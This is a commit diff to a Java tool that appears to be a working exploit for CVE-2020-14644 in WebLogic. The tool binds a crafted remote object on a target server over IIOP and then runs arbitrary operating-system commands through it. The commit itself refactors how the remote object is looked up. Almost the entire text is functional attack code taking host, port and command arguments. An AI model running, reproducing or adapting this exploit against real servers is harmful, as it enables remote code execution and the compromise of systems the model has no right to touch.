fix error

potats0 · Aug 10, 2020 · 707f9ef · 707f9ef
1 parent 9e83552
commit 707f9ef
Showing 1 changed file with 12 additions and 5 deletions.
diff --git a/src/main/java/org/unicodesec/App.java b/src/main/java/org/unicodesec/App.java
@@ -34,7 +34,7 @@ public static void main(String[] args) throws Exception {
         String port = args[1];
         String command = args[2];
         Context iiopCtx = getInitialContext(host, port);
-        if (iiopCtx.lookup("UnicodeSec") == null) {
+        if (getRemoteObj(iiopCtx) == null) {
             ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test.class);
             ClassPool cp = ClassPool.getDefault();
             CtClass ctClass = cp.get(org.unicodesec.test.class.getName());
@@ -46,17 +46,16 @@ public static void main(String[] args) throws Exception {
             String bindName = "UnicodeSec" + System.nanoTime();
             iiopCtx.rebind(bindName, constructor);
         }
-        executeCmdFromWLC(command, iiopCtx);
+        executeCmdFromWLC(command, getRemoteObj(iiopCtx));
     }
 
     private static void printUsage() {
         System.out.println("usage: java -jar cve-2020-14644.jar host port command");
         System.exit(-1);
     }
 
-    private static void executeCmdFromWLC(String command, Context iiopCtx) throws NamingException, RemoteException {
-        ClusterMasterRemote remote = (ClusterMasterRemote) iiopCtx.lookup("UnicodeSec");
-        String response = remote.getServerLocation(command);
+    private static void executeCmdFromWLC(String command, ClusterMasterRemote remoteObj) throws NamingException, RemoteException {
+        String response = remoteObj.getServerLocation(command);
         System.out.println(response);
     }
 
@@ -73,5 +72,13 @@ public static String converUrl(String host, String port) {
         return "iiop://" + host + ":" + port;
     }
 
+    public static ClusterMasterRemote getRemoteObj(Context ctx){
+        try{
+            return (ClusterMasterRemote)ctx.lookup("UnicodeSec");
+        }catch (Exception e){
+            return null;
+        }
+
+    }
 
 }